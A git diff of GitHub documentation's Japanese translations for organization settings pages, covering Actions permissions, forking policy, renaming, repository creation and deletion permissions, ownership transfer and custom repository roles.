-You can enable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.disabled-actions-description %}
+Organization のすべてのリポジトリについて {% data variables.product.prodname_actions %} を有効化することができます。 {% data reusables.github-actions.enabled-actions-description %} Organization のすべてのリポジトリについて 、{% data variables.product.prodname_actions %} を無効化できます。 {% data reusables.github-actions.disabled-actions-description %}
 
-Alternatively, you can enable {% data variables.product.prodname_actions %} for all repositories in your organization but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %}
+あるいは、Organization のすべてのリポジトリについて {% data variables.product.prodname_actions %} を有効化したうえで、ワークフローで実行できるアクションを制限することができます。 {% data reusables.github-actions.enabled-local-github-actions %}
 
-## Managing {% data variables.product.prodname_actions %} permissions for your organization
+## Organization の {% data variables.product.prodname_actions %} 権限の管理
 
-You can disable all workflows for an organization or set a policy that configures which actions can be used in an organization.
+Organization のワークフローをすべて無効にすることも、Organization でどのアクションを使用できるかを設定するポリシーを設定することもできます。
 
 {% data reusables.actions.actions-use-policy-settings %}
 
 {% note %}
 
-**Note:** You might not be able to manage these settings if your organization is managed by an enterprise that has overriding policy. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)."
+**注釈:** Organizationが、優先ポリシーのある Enterprise アカウントによって管理されている場合、これらの設定を管理できない場合があります。 For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)."
 
 {% endnote %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.settings-sidebar-actions %}
-1. Under **Policies**, select an option.
-  ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy.png)
-1. Click **Save**.
+1. [**Policies**] でオプションを選択します。 ![この Organization に対するアクションポリシーを設定する](/assets/images/help/organizations/actions-policy.png)
+1. [**Save**] をクリックします。
 
-## Allowing specific actions to run
+## 特定のアクションの実行を許可する
 
 {% data reusables.actions.allow-specific-actions-intro %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.settings-sidebar-actions %}
-1. Under **Policies**, select **Allow select actions** and add your required actions to the list.
+1. [**Policies**] で [**Allow select actions**] を選択し、必要なアクションをリストに追加します。
    {%- ifversion ghes > 3.0 %}
-   ![Add actions to allow list](/assets/images/help/organizations/actions-policy-allow-list.png)
+   ![許可リストにアクションを追加する](/assets/images/help/organizations/actions-policy-allow-list.png)
    {%- else %}
-   ![Add actions to allow list](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png)
+   ![許可リストにアクションを追加する](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png)
    {%- endif %}
-1. Click **Save**.
+1. [**Save**] をクリックします。
 
 {% ifversion fpt or ghec %}
-## Configuring required approval for workflows from public forks
+## パブリックフォークからのワークフローに対する必須の承認の設定
 
 {% data reusables.actions.workflow-run-approve-public-fork %}
 
-You can configure this behavior for an organization using the procedure below. Modifying this setting overrides the configuration set at the enterprise level.
+You can configure this behavior for an organization using the procedure below. この設定を変更すると、Enterpriseレベルでの設定が上書きされます。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -75,11 +74,11 @@ You can configure this behavior for an organization using the procedure below. M
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-## Enabling workflows for private repository forks
+## プライベートリポジトリのフォークのワークフローを有効にする
 
 {% data reusables.github-actions.private-repository-forks-overview %}
 
-### Configuring the private fork policy for an organization
+### Organization のプライベートフォークポリシーを設定する
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -88,21 +87,20 @@ You can configure this behavior for an organization using the procedure below. M
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-## Setting the permissions of the `GITHUB_TOKEN` for your organization
+## Organizationに対する`GITHUB_TOKEN`の権限の設定
 
 {% data reusables.github-actions.workflow-permissions-intro %}
 
-You can set the default permissions for the `GITHUB_TOKEN` in the settings for your organization or your repositories. If you choose the restricted option as the default in your organization settings, the same option is auto-selected in the settings for repositories within your organization, and the permissive option is disabled. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and the more restricted default has been selected in the enterprise settings, you won't be able to choose the more permissive default in your organization settings.
+Organizationもしくはリポジトリの設定で、`GITHUB_TOKEN`のデフォルト権限を設定できます。 Organizationの設定でデフォルトとして制限付きのオプションを選択した場合、そのオプションはOrganization内のリポジトリの設定でも自動設定され、許可するようなオプションは無効化されます。 Organizationが{% data variables.product.prodname_enterprise %}に属しており、Enterprise設定でさらに制約の強いデフォルトが選択されている場合、Organizationの設定でもっと許可をするようなデフォルトは選択できません。
 
 {% data reusables.github-actions.workflow-permissions-modifying %}
 
-### Configuring the default `GITHUB_TOKEN` permissions
+### デフォルトの`GITHUB_TOKEN`権限の設定
 
 {% data reusables.profile.access_profile %}
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.settings-sidebar-actions %}
-1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
-  ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization.png)
-1. Click **Save** to apply the settings.
+1. [**Workflow permissions**]の下で、`GITHUB_TOKEN`にすべてのスコープに対する読み書きアクセスを持たせたいか、あるいは`contents`スコープに対する読み取りアクセスだけを持たせたいかを選択してください。 ![このOrganizationのGITHUB_TOKENの権限を設定](/assets/images/help/settings/actions-workflow-permissions-organization.png)
+1. **Save（保存）**をクリックして、設定を適用してください。
 {% endif %}
diff --git a/translations/ja-JP/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md b/translations/ja-JP/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md
index 841dca73ea..4871c24f30 100644
--- a/translations/ja-JP/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing the forking policy for your organization
-intro: 'You can allow or prevent the forking of any private{% ifversion ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.'
+title: Organization のフォークポリシーを管理する
+intro: 'Organization が所有するプライベート{% ifversion ghes or ghae or ghec %}およびインターナル{% endif %}リポジトリのフォークを許可または禁止できます。'
 redirect_from:
   - /articles/allowing-people-to-fork-private-repositories-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-fork-private-repositories-in-your-organization
@@ -14,25 +14,25 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage forking policy
+shortTitle: フォークポリシーの管理
 ---
 
-By default, new organizations are configured to disallow the forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories.
+デフォルトでは、新しい Organization はプライベート{% ifversion ghes or ghec or ghae %}およびインターナル{% endif %}リポジトリのフォークを禁止するように設定されます。
 
-If you allow forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)."
+Organization レベルでプライベート{% ifversion ghes or ghec or ghae %} およびインターナル{% endif %}リポジトリのフォークを許可する場合は、特定のプライベート{% ifversion ghes or ghec or ghae %}またはインターナル{% endif %}リポジトリをフォークする機能も設定することができます。 詳細は「[リポジトリのフォークポリシーを管理する](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)」を参照してください。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 1. Under "Repository forking", select **Allow forking of private {% ifversion ghec or ghes or ghae %}and internal {% endif %}repositories**.
 
    {%- ifversion fpt %}
-   ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-fpt.png)
+   ![Organization でフォークを許可または禁止するチェックボックス](/assets/images/help/repository/allow-disable-forking-fpt.png)
    {%- elsif ghes or ghec or ghae %}
-   ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png)
+   ![Organization でフォークを許可または禁止するチェックボックス](/assets/images/help/repository/allow-disable-forking-organization.png)
    {%- endif %}
-6. Click **Save**.
+6. [**Save**] をクリックします。
 
-## Further reading
+## 参考リンク
 
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- 「[フォークについて](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)」
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/ja-JP/content/organizations/managing-organization-settings/renaming-an-organization.md b/translations/ja-JP/content/organizations/managing-organization-settings/renaming-an-organization.md
index 30bd57d2b3..7f50c87cab 100644
--- a/translations/ja-JP/content/organizations/managing-organization-settings/renaming-an-organization.md
+++ b/translations/ja-JP/content/organizations/managing-organization-settings/renaming-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Renaming an organization
-intro: 'If your project or company has changed names, you can update the name of your organization to match.'
+title: Organization の名前を変更する
+intro: プロジェクトや企業の名前が変更になった場合、Organization の名前を更新して一致させることができます。
 redirect_from:
   - /articles/what-happens-when-i-change-my-organization-s-name
   - /articles/renaming-an-organization
@@ -17,35 +17,34 @@ topics:
 
 {% tip %}
 
-**Tip:** Only organization owners can rename an organization. {% data reusables.organizations.new-org-permissions-more-info %}
+**ヒント:** Organization の名前を変更できるのは Organization オーナーだけです。 {% data reusables.organizations.new-org-permissions-more-info %}
 
 {% endtip %}
 
-## What happens when I change my organization's name?
+## Organization の名前を変更するとどうなりますか？
 
-After changing your organization's name, your old organization name becomes available for someone else to claim. When you change your organization's name, most references to your repositories under the old organization name automatically change to the new name. However, some links to your profile won't automatically redirect.
+Organization の名前を変更したら、古い Organization 名は他の個人が使用できるようになります。 Organization の名前を変更すると、古い Organization 名の下にあるリポジトリへの参照のほとんどが、自動で新しい名前に変わります。 ただし、プロフィールへのリンクによっては、自動的にリダイレクトされません。
 
-### Changes that occur automatically
+### 自動で行われる変更
 
-- {% data variables.product.prodname_dotcom %} automatically redirects references to your repositories.  Web links to your organization's existing **repositories** will continue to work. This can take a few minutes to complete after you initiate the change.
-- You can continue pushing your local repositories to the old remote tracking URL without updating it. However, we recommend you update all existing remote repository URLs after changing your organization name. Because your old organization name is available for use by anyone else after you change it, the new organization owner can create repositories that override the redirect entries to your repository. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
-- Previous Git commits will also be correctly attributed to users within your organization.
+- {% data variables.product.prodname_dotcom %} ではリポジトリへの参照を自動でリダイレクトします。  Organization に既存の**リポジトリ**への Web リンクは引き続き機能します。 変更を開始してから完了するまでに数分かかることがあります。
+- ローカルリポジトリのプッシュは、古いリモートトラッキング URL へは更新なしでそのまま行えます。 ただし、Organization の名前を変更したら、既存のすべてのリモートリポジトリ URL を更新するよう推奨します。 変更後の古い Organization 名は他のいずれの個人も使用できるようになるため、新しい Organization オーナーがリポジトリへのリダイレクトエントリをオーバーライドすることがありえます。 詳しい情報については「[リモートリポジトリの管理](/github/getting-started-with-github/managing-remote-repositories)」を参照してください。
+- 以前の Git コミットも、Organization 内のユーザへ正しく関連付けられます。
 
-### Changes that aren't automatic
+### 自動ではない変更
 
-After changing your organization's name:
-- Links to your previous organization profile page, such as `https://{% data variables.command_line.backticks %}/previousorgname`, will return a 404 error. We recommend you update links to your organization from other sites{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profiles{% endif %}.
-- API requests that use the old organization's name will return a 404 error. We recommend you update the old organization name in your API requests.
-- There are no automatic [@mention](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) redirects for teams that use the old organization's name.{% ifversion ghec %}
-- If SAML single sign-on (SSO) is enabled for the organization, you must update the organization name in the application for {% data variables.product.prodname_ghe_cloud %} on your identity provider (IdP). If you don't update the organization name on your IdP, members of the organization will no longer be able to authenticate with your IdP to access the organization's resources. For more information, see "[Connecting your identity provider to your organization](/github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization)."{% endif %}
+Organization の名前を変更したら、次のようになります:
+- 以前の Organization プロフィールページ (`https://{% data variables.command_line.backticks %}/previousorgname` など) にリンクすると、404 エラーが返されます。 他のサイト{% ifversion fpt or ghec %} (LinkedIn や Twitter のプロフィールなど) {% endif %}からの Organization へのリンクを更新するよう推奨します。
+- 古い Organization 名を使用する API リクエストでは、404 エラーが返されます。 API リクエストにある古い Organization 名を更新するようおすすめします。
+- 古い Organization 名を使用する Team へは、自動での [@mention](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) リダイレクトはありません。{% ifversion ghec %}
+- OrganizationでSAMLシングルサインオン（SSO）が有効化されているなら、アイデンティティプロバイダ（IdP）で{% data variables.product.prodname_ghe_cloud %}用のアプリケーション内のOrganization名を更新しなければなりません。 IdPでOrganization名を更新しないと、OrganizationのメンバーはOrganizationのリソースにアクセスする際にIdPで認証を受けられなくなります。 詳細は「[アイデンティティプロバイダを Organization に接続する](/github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization)」を参照してください。{% endif %}
 
-## Changing your organization's name
+## Organization の名前を変更する
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-4. Near the bottom of the settings page, under "Rename organization", click **Rename Organization**.
-  ![Rename organization button](/assets/images/help/settings/settings-rename-organization.png)
+4. 設定ページの末尾近くにある [Rename organization] の下の [**Rename Organization**] をクリックします。 ![[Rename organization] ボタン](/assets/images/help/settings/settings-rename-organization.png)
 
-## Further reading
+## 参考リンク
 
-* "[Why are my commits linked to the wrong user?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)"
+* 「[コミットが間違ったユーザにリンクされているのはなぜですか？](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)」
diff --git a/translations/ja-JP/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md b/translations/ja-JP/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
index 7f1c181bd9..2a8caf6896 100644
--- a/translations/ja-JP/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Restricting repository creation in your organization
-intro: 'To protect your organization''s data, you can configure permissions for creating repositories in your organization.'
+title: Organization 内でリポジトリの作成を制限する
+intro: Organization のデータを保護するために、Organization 内でリポジトリを作成するための権限を設定できます。
 redirect_from:
   - /articles/restricting-repository-creation-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-creation-in-your-organization
@@ -12,18 +12,18 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Restrict repository creation
+shortTitle: リポジトリの作成の制限
 ---
 
-You can choose whether members can create repositories in your organization. If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} For more information, see "[About repositories](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}.
+メンバーが Organization でリポジトリを作成できるかどうかを選択できます。 If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} For more information, see "[About repositories](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}.
 
-Organization owners can always create any type of repository.
+Organization のオーナーは、いつでもどんなタイプの リポジトリ でも作成できます。
 {% ifversion ghec or ghae or ghes %}
 {% ifversion ghec or ghae %}Enterprise owners{% elsif ghes %}Site administrators{% endif %} can restrict the options you have available for your organization's repository creation policy.{% ifversion ghec or ghes or ghae %} For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% endif %}{% endif %}
 
 {% warning %}
 
-**Warning**: This setting only restricts the visibility options available when repositories are created and does not restrict the ability to change repository visibility at a later time. For more information about restricting changes to existing repositories' visibilities, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)."
+**警告**: この設定で制限されるのは、リポジトリを作成するときの可視性オプションだけです。後からリポジトリの可視性を変更する機能は制限されません。 For more information about restricting changes to existing repositories' visibilities, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)."
 
 {% endwarning %}
 
@@ -33,8 +33,8 @@ Organization owners can always create any type of repository.
 5. Under "Repository creation", select one or more options.
 
    {%- ifversion ghes or ghec or ghae %}
-   ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png)
+   ![リポジトリ作成のオプション](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png)
    {%- elsif fpt %}
-   ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png)
+   ![リポジトリ作成のオプション](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png)
    {%- endif %}
-6. Click **Save**.
+6. [**Save**] をクリックします。
diff --git a/translations/ja-JP/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md b/translations/ja-JP/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
index 44b80ce85d..d907688b79 100644
--- a/translations/ja-JP/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
+++ b/translations/ja-JP/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
@@ -1,6 +1,6 @@
 ---
-title: Setting permissions for adding outside collaborators
-intro: 'To protect your organization''s data and the number of paid licenses used in your organization, you can allow only owners to invite outside collaborators to organization repositories.'
+title: 外部のコラボレーターを追加するための権限を設定する
+intro: Organization のデータを保護し、Organization 内で使用されている有料ライセンスの数が無駄遣いされないようにするために、外部コラボレーターを Organization のリポジトリに招待することをオーナーのみに許可できます。
 product: '{% data reusables.gated-features.restrict-add-collaborator %}'
 redirect_from:
   - /articles/restricting-the-ability-to-add-outside-collaborators-to-organization-repositories
@@ -14,16 +14,15 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Set collaborator policy
+shortTitle: コラボレータポリシーの設定
 ---
 
-Organization owners, and members with admin privileges for a repository, can invite outside collaborators to work on the repository. You can also restrict outside collaborator invite permissions to only organization owners.
+リポジトリに対する管理者権限を持つ Organization のオーナーとメンバーは、リポジトリで作業するように外部のコラボレーターを招待できます。 外部のコラボレーターの招待権限を、Organization のオーナーに制限することもできます。
 
 {% data reusables.organizations.outside-collaborators-use-seats %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Repository invitations", select **Allow members to invite outside collaborators to repositories for this organization**.
-  ![Checkbox to allow members to invite outside collaborators to organization repositories](/assets/images/help/organizations/repo-invitations-checkbox-updated.png)
-6. Click **Save**.
+5. [Repository invitations] の下で、[**Allow members to invite outside collaborators to repositories for this organization**] を選択します。 ![外部コラボレーターを Organization リポジトリに招待することをメンバーに許可するためのチェックボックス](/assets/images/help/organizations/repo-invitations-checkbox-updated.png)
+6. [**Save**] をクリックします。
diff --git a/translations/ja-JP/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md b/translations/ja-JP/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
index 5309271e6e..65140dad2b 100644
--- a/translations/ja-JP/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
+++ b/translations/ja-JP/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Setting permissions for deleting or transferring repositories
-intro: 'You can allow organization members with admin permissions to a repository to delete or transfer the repository, or limit the ability to delete or transfer repositories to organization owners only.'
+title: リポジトリを削除または移譲する権限を設定する
+intro: リポジトリの削除や移譲を、リポジトリの管理者権限を持つ Organization メンバーに許可したり、Organization のオーナーのみがリポジトリを削除や移譲できるよう制限したりできます。
 redirect_from:
   - /articles/setting-permissions-for-deleting-or-transferring-repositories-in-your-organization
   - /articles/setting-permissions-for-deleting-or-transferring-repositories
@@ -13,14 +13,13 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Set repo management policy
+shortTitle: リポジトリ管理ポリシーの設定
 ---
 
-Owners can set permissions for deleting or transferring repositories in an organization.
+コードオーナーは、Organization 内のリポジトリについて、削除や移譲の権限を設定できます。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Repository deletion and transfer", select or deselect **Allow members to delete or transfer repositories for this organization**.
-![Checkbox to allow members to delete repositories](/assets/images/help/organizations/disallow-members-to-delete-repositories.png)
-6. Click **Save**.
+5. [Repository deletion and transfer] の下で、[**Allow members to delete or transfer repositories for this organization**] を選択または選択解除します。 ![リポジトリの削除をメンバーに許可するためのチェックボックス](/assets/images/help/organizations/disallow-members-to-delete-repositories.png)
+6. [**Save**] をクリックします。
diff --git a/translations/ja-JP/content/organizations/managing-organization-settings/transferring-organization-ownership.md b/translations/ja-JP/content/organizations/managing-organization-settings/transferring-organization-ownership.md
index da79cb679b..79da25ec20 100644
--- a/translations/ja-JP/content/organizations/managing-organization-settings/transferring-organization-ownership.md
+++ b/translations/ja-JP/content/organizations/managing-organization-settings/transferring-organization-ownership.md
@@ -1,6 +1,6 @@
 ---
-title: Transferring organization ownership
-intro: 'To make someone else the owner of an organization account, you must add a new owner{% ifversion fpt or ghec %}, ensure that the billing information is updated,{% endif %} and then remove yourself from the account.'
+title: Organization の所有権を移譲する
+intro: '他の誰かを Organization アカウントのオーナーにするには、新しいオーナーを追加し、{% ifversion fpt or ghec %}請求情報が更新されることを確認し、{% endif %}アカウントから自分を削除します。'
 redirect_from:
   - /articles/needs-polish-how-do-i-give-ownership-to-an-organization-to-someone-else
   - /articles/transferring-organization-ownership
@@ -13,25 +13,26 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Transfer ownership
+shortTitle: 所有権の移譲
 ---
-{% ifversion fpt or ghec %}
+
+{% ifversion ghec %}
 {% note %}
 
-**Note:** {% data reusables.enterprise-accounts.invite-organization %}
+**注釈:** {% data reusables.enterprise-accounts.invite-organization %}
 
 {% endnote %}{% endif %}
 
-1. If you're the only member with *owner* privileges, give another organization member the owner role. For more information, see "[Appointing an organization owner](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization#appointing-an-organization-owner)."
-2. Contact the new owner and make sure he or she is able to [access the organization's settings](/articles/accessing-your-organization-s-settings).
+1. もしあなたが *owner* の権限を持つ唯一のメンバーである場合、他の Organization メンバーにオーナーロールを付与します。 詳細は「[Organizationのオーナーの指名](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization#appointing-an-organization-owner)」を参照してください。
+2. 新しいオーナーに連絡し、そのオーナーが [Organization の設定にアクセス](/articles/accessing-your-organization-s-settings)できることを確認します。
 {% ifversion fpt or ghec %}
-3. If you are currently responsible for paying for GitHub in your organization, you'll also need to have the new owner or a [billing manager](/articles/adding-a-billing-manager-to-your-organization/) update the organization's payment information. For more information, see "[Adding or editing a payment method](/articles/adding-or-editing-a-payment-method)."
+3. Organization で GitHub への支払いを現在担当している場合、新しいオーナーまたは[支払いマネージャー](/articles/adding-a-billing-manager-to-your-organization/)に Organization の支払い情報を更新してもらう必要があります。 詳細は「[支払い方法を追加または編集する](/articles/adding-or-editing-a-payment-method)」を参照してください。
 
   {% warning %}
 
-  **Warning**: Removing yourself from the organization **does not** update the billing information on file for the organization account. The new owner or a billing manager must update the billing information on file to remove your credit card or PayPal information.
+  **警告**: Organization から自身を削除しても、Organization アカウントのファイル上の支払い情報は**更新されません**。 新しいコードオーナーまたは支払いマネージャーは、あなたのクレジットカードまたは Paypal の情報を削除するためにファイル上の支払い情報を更新しなければなりません。
 
   {% endwarning %}
 
 {% endif %}
-4. [Remove yourself](/articles/removing-yourself-from-an-organization) from the organization.
+4. Organization から[自分を削除する](/articles/removing-yourself-from-an-organization)
diff --git a/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md b/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
index 541e5c5dca..150595a966 100644
--- a/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
@@ -53,7 +53,7 @@ Organization のオーナーの Team のメンバーは、人に*支払いマネ
 {% ifversion ghec %}
 {% note %}
 
-**Note:** If your organization is managed using [Enterprise Accounts](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/about-enterprise-accounts) you will not be able to invite Billing Managers at the organization level.
+**Note:** If your organization is owned by an enterprise account, you cannot invite billing managers at the organization level. 詳細は「[Enterprise アカウントについて](/admin/overview/about-enterprise-accounts)」を参照してください。
 
 {% endnote %}
 {% endif %}
diff --git a/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md b/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md
index f7caf78b8b..571030bf90 100644
--- a/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md
+++ b/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md
@@ -1,7 +1,7 @@
 ---
 title: Managing custom repository roles for an organization
-intro: "You can more granularly control access to your organization's repositories by creating custom repository roles."
-permissions: 'Organization owners can manage custom repository roles.'
+intro: You can more granularly control access to your organization's repositories by creating custom repository roles.
+permissions: Organization owners can manage custom repository roles.
 versions:
   ghec: '*'
 topics:
@@ -30,22 +30,22 @@ When you create a custom repository role, you start by choosing an inherited rol
 
 Your options for the inherited role are standardized for different types of contributors in your repository.
 
-| Inherited role | Designed for |
-|----|----|
-| **Read** | Non-code contributors who want to view or discuss your project. |
-| **Triage** | Contributors who need to proactively manage issues and pull requests without write access. |
-| **Write** | Organization members and collaborators who actively push to your project. |
-| **Maintain** | Project managers who need to manage the repository without access to sensitive or destructive actions.
+| Inherited role | Designed for                                                                                           |
+| -------------- | ------------------------------------------------------------------------------------------------------ |
+| **Read**       | Non-code contributors who want to view or discuss your project.                                        |
+| **Triage**     | Contributors who need to proactively manage issues and pull requests without write access.             |
+| **Write**      | Organization members and collaborators who actively push to your project.                              |
+| **Maintain**   | Project managers who need to manage the repository without access to sensitive or destructive actions. |
 
 ## Custom role examples
 
 Here are some examples of custom repository roles you can configure.
 
-| Custom repository role | Summary | Inherited role | Additional permissions |
-|----|----|----|----|
-| Security engineer | Able to contribute code and maintain the security pipeline | **Maintain** | Delete code scanning results |
-| Contractor | Able to develop webhooks integrations | **Write** | Manage webhooks |
-| Community manager | Able to handle all the community interactions without being able to contribute code | **Read** | - Mark an issue as duplicate <br> - Manage GitHub Page settings <br> - Manage wiki settings <br> - Set the social preview <br> - Edit repository metadata <br> - Triage discussions |
+| Custom repository role | 概要                                                                                  | Inherited role | Additional permissions                                                                                                                                                                                            |
+| ---------------------- | ----------------------------------------------------------------------------------- | -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Security engineer      | Able to contribute code and maintain the security pipeline                          | **Maintain**   | Delete code scanning results                                                                                                                                                                                      |
+| Contractor             | Able to develop webhooks integrations                                               | **Write**      | Manage webhooks                                                                                                                                                                                                   |
+| Community manager      | Able to handle all the community interactions without being able to contribute code | **Read**       | - Mark an issue as duplicate <br> - Manage GitHub Page settings <br> - Manage wiki settings <br> - Set the social preview <br> - Edit repository metadata <br> - Triage discussions |
 
 ## Additional permissions for custom roles
 
@@ -65,7 +65,7 @@ You can only choose an additional permission if it's not already included in the
 - **Delete an issue**
 - **Mark an issue as a duplicate**
 
-### Pull Request
+### プルリクエスト
 
 - **Close a pull request**
 - **Reopen a closed pull request**
@@ -77,15 +77,15 @@ You can only choose an additional permission if it's not already included in the
 - **Manage wiki settings**: Turn on wikis for a repository.
 - **Manage project settings**: Turning on projects for a repository.
 - **Manage pull request merging settings**: Choose the type of merge commits that are allowed in your repository, such as merge, squash, or rebase.
-- **Manage {% data variables.product.prodname_pages %} settings**: Enable {% data variables.product.prodname_pages %} for the repository, and select the branch you want to publish. For more information, see "[Configuring a publishing source for your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)."
+- **Manage {% data variables.product.prodname_pages %} settings**: Enable {% data variables.product.prodname_pages %} for the repository, and select the branch you want to publish. 詳しい情報については「[{% data variables.product.prodname_pages %} サイトの公開元を設定する](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)」を参照してください。
 - **Manage webhooks**: Add webhooks to the repository.
